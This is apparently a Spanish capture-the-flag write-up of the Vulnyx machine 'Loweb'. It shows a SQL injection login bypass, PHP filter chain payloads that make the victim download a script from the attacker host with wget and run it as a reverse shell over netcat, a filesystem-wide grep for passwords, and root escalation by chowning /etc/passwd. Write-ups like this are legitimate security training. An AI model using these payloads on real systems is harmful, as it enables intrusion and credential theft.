Máquina Loweb (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.37
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.37 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Encontramos el directorio library, accedemos a el.
Volvemos a realizar con la herramienta gobuster un fuzzing web pero esta vez por extensiones, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.37/library -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x html,js,php,txt
Encontramos los directorios login y admin, accedemos a login.
Nos encontramos con un panel de login.
Probamos si el panel de login es vulnerable a inyección SQL, para ello en los campos Username y Password introducimos el siguiente código SQL:
' OR 1=1 -- -
Conseguimos acceder.
Inspeccionamos la pagina.
Nos montamos un servidor HTTP con python, para ello ejecutamos el siguiente comando:
$ python3 -m http.server 80
Con la ayuda de la herramienta php_filter_chain_generator, nos generamos un wrapper para pasarnos a la Máquina Victima la reverse shell, para ello ejecutamos el siguiente comando:
$ python3 php_filter_chain_generator.py --chain "<?php system('wget 10.0.2.4/s')?>"
Pegamos el wrapper que nos a generado la herramienta en el parámetro lang de la url.
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
De nuevo con la ayuda de la herramienta php_filter_chain_generator, nos generamos otro wrapper para ejecutar la reverse shell, para ello ejecutamos el siguiente comando:
$ python3 php_filter_chain_generator.py --chain "<?php system('bash s')?>"
Pegamos el nuevo wrapper que nos a generado la herramienta en el parámetro lang de la url.
Y obtenemos una shell como www-data.
Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
En el fichero /etc/passwd, vimos que existía el usuario r3dh4ck que tenia su directorio /home personal y como predeterminada la shell /bin/bash, por lo tanto, con el comando grep buscamos todos los archivos desde la raíz para ver si podemos encontrar alguna contraseña, para ello ejecutamos el siguiente comando:
$ grep -ri "password" / 2>/dev/null
Y obtenemos la credencial contraseñaconÑjeje.
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario chown que lo podemos ejecutar como cualquier usuario, por lo tanto, podemos cambiar el propietario al directorio /etc y al fichero passwd, para así poder escribir en este fichero, para ello ejecutamos los siguientes comandos:
$ sudo /usr/bin/chown r3dh4ck:r3dh4ck /etc
$ sudo /usr/bin/chown r3dh4ck:r3dh4ck /etc/passwd
Editamos el fichero /etc/passwd y le quitamos la x al usuario root para que no nos pida contraseña, para ello ejecutamos el siguiente comando:
$ nano /etc/passwd
Nos cambiamos al usuario root sin proporcionar contraseña, para ello ejecutamos el siguiente comando:
$ su root
¡¡¡Ya somos root!!!
También pudiendo leer las flags de user y root.















